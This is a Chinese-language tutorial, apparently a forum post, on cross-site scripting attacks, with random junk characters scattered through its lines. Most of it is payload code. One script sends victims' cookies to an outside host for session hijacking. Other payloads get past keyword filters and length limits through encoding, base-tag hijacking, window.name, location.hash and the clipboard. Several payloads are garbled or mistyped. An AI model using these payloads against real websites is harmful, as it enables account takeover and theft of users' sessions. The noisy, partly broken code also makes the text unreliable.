XSS跨站脚本攻击的基本原理和SQL 注入攻击类似(个人观点),都是利用系统执行了未经过滤的危险代码,不同点在于XSS是一种基于网页脚本的注入方式,也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的,属于客户端攻击。而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库,从而进一步探测、操纵数据库信息。属于服务器攻击?(菜鸟看法)。7 L. a; h L0 X# q4 K- j
XSS攻击前奏(XSS bug 检测)
) _- C* U4 {$ k8 W1 F# z 1、最常见的最经典的XSS bug检测语句必然是9 l2 Q- E: W0 E7 P
<script>alert(/XSS/)</script> ①
, ^& Y& A2 I2 V 比如在存在XSS bug的留言板上写上留言①,当访问留言板网页时会弹出对话框:
! n" ]" U3 r6 O7 v0 N* E% q
. }! V6 K* ^9 E2 n) p. Z% j1 Z这表明我们输入的语句被原样写入的网页并被浏览器执行了.那么我们就有机会执行我们的脚本攻击载荷:
! L8 |! R4 w) F6 R/ S9 }- Y- F<script src = http://www.labsecurity.org/xssbug.js></script>+ q' L8 e5 j( I6 {
在我们的网络空间www.labsecurity.org上的xssbug.js代码可以是 o% s0 \. H+ k* D
Var img = document.createElement(“img”);: [+ v- A, ]: I# z' ]6 E- z/ E" {' }: |
Img.src = “http://www.labsecurity.org/log?”+escape(document.cookie);
3 H) O8 Q( b9 @5 rdocument.body.appendChild(img);5 Z" d5 o( d8 J$ L0 B/ e
如果我们如上代码顺利执行,那么被攻击者在目标网站的登录cookie就写进了log.得到其cookie后,进行浏览器重新发包就可以以被攻击者身份登录目标网站.(被攻击者可以是普通用户也可以使网站超级管理员).8 \+ i3 ]0 F0 t/ C0 s+ g
将窃取cookie的代码换成下载者地址就可以将下载者下载到存在下载者攻击漏洞的用户电脑上.
% h8 N( p! g5 L) Q 也可以将代码换成目标用户在网站上的某些操作的 数据包脚本.促使在不知情的情况下”自愿”进行某些操作.
1 r( z) Z+ x! N4 F$ n 对于Cookie窃取的防御可以使IP绑定等方案了.1 ], r" F1 m' W" e
* r# W/ |; Q/ h+ g ] u3 J 既然存在XSS攻击那么程序员在开发时必然会进行某些危险关键字的过滤,以及限制用户的输入长度.这样即使存在xss漏洞.Hack也只能检测,却不能够写入攻击载荷(长度限制啊).
- ~8 H0 j/ ~1 ~ @ 利用IMG图片标记属性跨站# g: J, \$ c4 ]8 k( [% t
当然也可以像上面所说的在留言板中输入
0 |; ~3 d$ B K9 W3 D4 |" F<img src=”javacript:alert(/XSS/)”></img>* W! m2 K. W4 f+ S# o' r4 N
这所说的不是这样是在用户上传图片时将图片路径修改为一段可执行的XSS测试脚本.
5 m9 s) o) i$ \4 U0 i如果存在XSS漏洞那么此类脚本就会被执行.这类脚本要闭合双引号”>”等. q2 I# c" y9 Q$ a
利用DIV标签属性跨站. F# x4 h3 Y! ~' c
<div style=”width:0;height:0;background:url(javascript:document.body.onload = function(){alert(/XSS/);};”></div>; f. g( K% Z9 `& ]0 t7 W% c
利用已知事件攻击: U9 O% ]8 _, q9 g: F2 q1 U# w
移动特效字<marquee>文字</marquee>
% V0 u/ m: K, Z( }+ M <marquee onsB.<div style=”” onmouseenter=”alert(/XSS/)”>文字</div>
' k+ s$ ~( s1 q) n/ @ 构造事件
5 Q9 d- A1 b6 k M- I" p<img style=”#” style=”TEST:e­xpression(alert(/XSS/));”> L) K g+ X1 z+ l# p% Y
常用的事件构造7 U7 Y$ l* K e2 |8 @
<font style = “TEST:e­xpression(alert(/XSS/))”></font>
7 t8 G7 r% Z; y, d+ Z$ x. ~<li style = “TEST:e­xpression(alert(/XSS/))”></li>, F0 y$ J* g3 V
<table style = “TEST:e­xpression(alert(/XSS/))”></table>3 [6 d. |% O) b+ I% E
<a style = “TEST:e­xpression(alert(/XSS/))”></a>
+ D, o6 ]! w% d( a ~<b style = “TEST:e­xpression(alert(/XSS/))”></b>
9 @. z- Q+ U8 u8 u% ^8 g' D<ul style = “TEST:e­xpression(alert(/XSS/))”></ul>
) I# z5 h) t8 ]2 o0 b, ?* @<marque tyle = “TEST:e­xpression(alert(/XSS/))”></marquee>/ J% e: ]3 L$ Z# G; Y0 j7 c: y/ b7 n
突破程序员的过滤限制- a7 w3 P5 U4 f+ _$ Y
利用javascript换行与空格突破过滤( G; X+ P. j: |4 T! C& E7 D. v
<img src = j ava script:al er t(/XSS/)>///空格使用Tab键产生
% T( Q( v) K1 s <img src = j1 |) ^- k/ M) y" |$ X1 X g+ q
ava script :a ler t(/xss/)>( J; B& g2 P; f: K
利用注释<img src = “#”/**/onerror = alert(/XSS/)>
0 K& D, n. G) J9 ?+ b5 ~5 q$ n) U 转代码,绕过滤
8 A; r$ ~2 N9 _4 a. M. Z' e 使用大小写转换绕过过滤. ^. H; H! h9 |# r% {
使用进制编码
4 Z. ?6 W& U2 W9 q% D 空格回车符
( u! ?8 ?2 @: T6 x 3 m6 I; a8 k- ?2 t
JS 还原函数法
1 m" ~- r9 w: A# `# D8 G8 y String.fromCharCode()可以将ASCII编码还原成字符串,那么就可以eval(String.fromCharCode(97,108,101.....))
; ?, F' h N7 k! z% }突破长度限制
* W% x* Q" d3 a! m) j注释符闭合相邻的输入框达到合并的目的
+ J- W: A8 _7 ?<input id = 1 type = “text” value=””/>0 [* J& ~. Q# z7 \. |$ |
<input id = 2 type = “text” value = “”/> L, k9 X7 {) t- i4 f) t5 P
这样我们可以在第一个框中输入”>alert<!--
! W) D) P5 l0 T, p- z8 y$ k) P: A在第二个输入框中输入--><script>(/XSS/);</script> w; K$ J: U1 t
这样效果就是7 X2 O Z9 S$ s
<input id = 1 type = “text” value=”” <script>alert(/XSS/)</script>”/>- _2 d( a8 M5 L% r0 `; G( C: ?3 |
使用<base>标签进行相对路径劫持* o6 b( ?$ b" T! L
<body>tart=”alert(/XSS/)”>文字</marquee>& z, t3 ^9 K' ]& b" Q
<base href=”http://www.labsecurity.org”/>
6 X' z5 p# G) M4 ^( E; m<img src = “evil.js”>, B3 U! R* \4 h( \3 |% L6 B4 r
<body>
- @/ t8 {0 p+ c7 c$ r当我们没有使用base标签时evil.js是调用的服务器根目录下的evil.js脚本文件.当我们使用<base>脚本后.那么在此标签后的所有相对路径为我们设置的网站.3 m" U. _) i7 }$ o8 ~7 h
因此可以先使用<base>脚本劫持,然后再写入<img src=”xxx.js”>突破长度限制.
5 I- G' l0 I! B/ n使用window.name进行字符串传递
/ o! T' G: B3 ~# N# Q; g& s+ P$ Y. E: M在我们自己的构造的页面中写入如下代码; a9 p/ u1 {- v1 Z
<script>9 c! w5 ^1 j; n6 J5 ~& q
Window.name=”<script src=http://www.labsecurity.org/xss.js><script>”% L6 t- w. i8 ^0 z+ |+ b
Window.location=”http://www.xxxx.com/xxx.asp”
; j- C$ s1 g, t7 t p</script>
) G6 V# h5 _# R! @2 U6 } |- B0 n当我们跳转到目标网页时我们的window.name值为我们设置的跨站脚本语句.: ]) ]+ u- X6 m+ h0 ~
因此我们可以使用eval(name)进行跨站攻击.! @$ E0 @, c- w* ]+ x+ a0 u6 a T0 H- S
利用上下文扩展长度
5 c5 Z* S" E8 F( t" q" s4 E6 j<div id="x">alert%28document.cookie%29%3B</div>
0 Y# H, j6 o. H: x# s$ F# s<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
( `! t6 A0 }$ o v% n" u" b$ V上文是不限制长度的安全数据,那么我们就可以在下文中使用此安全数据.进行XSS攻击突破长度.
: }3 e( j8 D4 l; l9 W. L8 j; D5.利用URL 中的数据 c0 M. \5 g0 c' O Y
如果页面里不存在上一节所说的可控HTML 上下文数据怎么办?有些数据是我们无条件可控的,第一个想到的就是URL,通过在URL 的尾部参数构造要执行的代码,然后在XSS点通过+ M% a& Z5 |2 x7 O- V2 D
document.URL/location.href 等方式获得代码数据执行,这里假设代码从第80 个字符开始到
. P3 S4 P( u$ {' d最后:
) } I0 a2 v: Y2 P2 B% }8 g--code-------------------------------------------------------------------------' i. M ?, H0 w
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
4 A$ g" g/ H" w, g$ O<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>* a8 ^( w) p0 G$ Q+ m5 c6 D
长度:30/ b' T7 \7 ~% u$ `
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>2 @' A6 _: R2 O* N# M: v9 @+ i
长度:31 y. C3 M* C' z* K. Q3 H3 b
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅Javascript 手册
# ?* N6 E% ~% p! h/ f+ w4 J8 c/ S& t! S的String 的方法可以发现,切割字符串有一个更短的函数slice,5 个字符比substr 还要短一个字符:; O: f: Y& t/ }8 c6 g
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
$ o4 y2 ?0 z% `" v6 K4 F* g6 ]) t长度:29
7 A+ t r: N+ b3 N% E<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
+ D0 T/ k' c: K P, X6 F长度:30
/ c& p4 P' x# O/ J) n9 l" C那么还有没有办法更短呢?答案是YES,查阅一下MSND 里的location 对象的参考你会发现有个hash 成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获得代码执行,由于获得的数据是#开头的,所以只需要slice 一个字符就可以拿到代码:' N8 v0 X) c9 G+ P
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)! A; z8 G$ I) j$ c
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
+ w% V: `' i$ W* F3 g: O! i长度:29
& l* z* E' R8 a& V0 E这样比上面的例子又少了一个字符。那么还可以更短么?
2 K( n# `% @! J, Q" O6.剪切板clipboardData. n9 }# ?/ h+ a' L( E$ I
攻击者在自己域的页面上通过clipboardData 把Payload 写入剪切板,然后在被XSS 页面获取并执行该数据。攻击者构造的页面:7 I5 Z6 T& \3 e/ k3 |) o$ W
--code-------------------------------------------------------------------------
7 e) T/ w7 G+ M4 [4 k<script>, R; x4 o7 V* W. q: b: p( _+ a
clipboardData.setData("text", "alert(document.cookie)");
$ u# e3 `8 C, J& v+ w9 Y: K</script>) x" f h- B5 M2 X' x
-------------------------------------------------------------------------------
0 e/ P1 {# u* N被XSS 的页面:
$ @8 q3 `7 D, n" ^( q# p--code-------------------------------------------------------------------------
6 T" e3 F8 ]) B7 J. N1 r6 _5 \<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
% j2 y9 C1 k6 f$ f. D& H, r-------------------------------------------------------------------------------
: X9 I! R5 U' u) z- D1 ^. |% X5 P长度:36
! \! b" E: ~% l5 R& l这种方式只适用于IE 系列,并且在IE 7 及以上版本的浏览器会有安全提示 |